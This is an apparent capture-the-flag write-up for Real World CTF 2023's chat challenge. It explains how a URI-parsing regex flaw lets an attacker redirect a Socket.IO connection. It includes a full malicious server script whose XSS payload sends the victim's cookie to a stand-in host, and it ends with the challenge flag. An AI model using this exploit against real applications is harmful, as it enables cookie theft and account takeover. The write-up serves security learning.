Real World CTF 2023 is a jeopardy-style capture-the-flag event, known for its realistic challenges. We participated as part of the Sauercloud CTF team.

Overview

The challenge description reads: “I can ensure you that there is no xss on the server! You will find the flag in the admin’s cookie.” Also provided are links to the challenge and the XSS bot, as well as the source code. So immediately our goal is clear: steal the cookies of the XSS bot!

Let’s take a look at the application: The challenge is a simple Node.js app with one static HTML file, that is served, and a single index.js for the backend. The app is a simple chat app.

Let’s find an XSS

Upon taking a look at index.html we first see that it uses Socket.IO for the chat communication with the server and also quickly find this:

socket.on('msg', function (msg) {
    let item = document.createElement('li'),
        msgtext = `... ${msg.text}`;
    room === 'DOMPurify' && msg.isHtml ? item.innerHTML = msgtext 
    ...
    messages.appendChild(item);
    ...

So any messages received via Socket.IO are inserted into the DOM without sanitization if the chat-room’s name is DOMPurify and the message’s isHtml field is true. So let’s try to send a message containing an XSS payload

Screenshot escaped Message

Clearly that didn’t work – so the server must have sanitized it before sending it back to all clients.

The Server Code

Here we immediately see why our simple attempt failed:

io.to(room).emit('msg', {
    from: DOMPurify.sanitize(msg.from),
    text: DOMPurify.sanitize(msg.text),
    isHtml: true
});

Any message sent to the clients is piped through DOMPurify – RIP simple XSS.

A Different Approach

Given the simplicity of the app, we were pretty sure that the client side DOM injection is our way of stealing the cookie. So maybe, we can attack the connection by hijacking the Socket.IO connection.

Let’s see how the client establishes the connection:

let socket = io(`/${location.search}`) 

Interestingly, the entire query string is passed into Socket.IO for parsing. Let’s take a look at how the parsing works. In the used socket.io.js we find this in the constructor:

uri = parse(uri);
opts.hostname = uri.host

Looks promising. We can completely control uri except for the leading /. Let’s dig deeper. For parse we find this:

  // imported from https://github.com/galkn/parseuri

  /**
   * Parses an URI
   *
   * @author Steven Levithan <stevenlevithan.com> (MIT license)
   * @api private
   */
  ...
  function parse(str) {...}

In the repo we find this issue: https://github.com/galkn/parseuri/issues/12, and it’s still open! Unfortunately, there are no details about the security issue, so we need to find it ourselves.

The Vulnerability

Let’s take a look at the regex used for the parsing of uri:

var re = /^(?:(?![^:@]+:[^:@\/]*@)(http|https|ws|wss):\/\/)?((?:(([^:@]*)(?::([^:@]*))?)?@)?((?:[a-f0-9]{0,4}:){2,7}[a-f0-9]{0,4}|[^:\/?#]*)(?::(\d*))?)(((\/(?:[^?#](?![^?#\/]*\.[^?#\/.]+(?:[?#]|$)))*\/?)?([^?#\/]*))(?:\?([^#]*))?(?:#(.*))?)/;

The interesting part for us is that it checks for username/password as part of the uri and it does so by looking for any string in front of the first @ in the passed uri, not just in the authority part. So if we append @our.domain.invalid to the end of uri, the parse function will treat everything between the protocol and the @ as a username and our.domain.invalid as the hostname. This is the vulnerability we need.

The Exploit

Idea: We will host a malicious version of index.js ourselves with a key addition: a JavaScript payload that exfiltrates the cookie that is sent, instead of the normal join message. It is sent after a user joins to all users including the joining one.

Code:

const app = require('express')();
const http = require('http').Server(app);
const io = require('socket.io')(http, {
  cors: {
    origin: "*",
    methods: ["GET", "POST"]
  }
});
const DOMPurify = require('isomorphic-dompurify');

const hostname = process.env.HOSTNAME || '0.0.0.0';
const port = 80;
const rooms = ['textContent', 'DOMPurify'];


app.get('/', (req, res) => {
    res.sendFile(__dirname + '/index.html');
});

io.on('connection', (socket) => {
    let {nickname, room} = socket.handshake.query;
    socket.join(room);
    io.to(room).emit('msg', {
        from: 'system',
        text: "<img src onerror='fetch(\"https://our.domain.invalid/?\" + document.cookie)'>",
        isHtml: true
    });
});

http.listen(port, hostname, () => {
    console.log(`ChatUWU server running at http://${hostname}:${port}/`);
});

We get the flag 🍉:

rwctf{1e542e65e8240f9d60ab41862778a1b408d97ac2}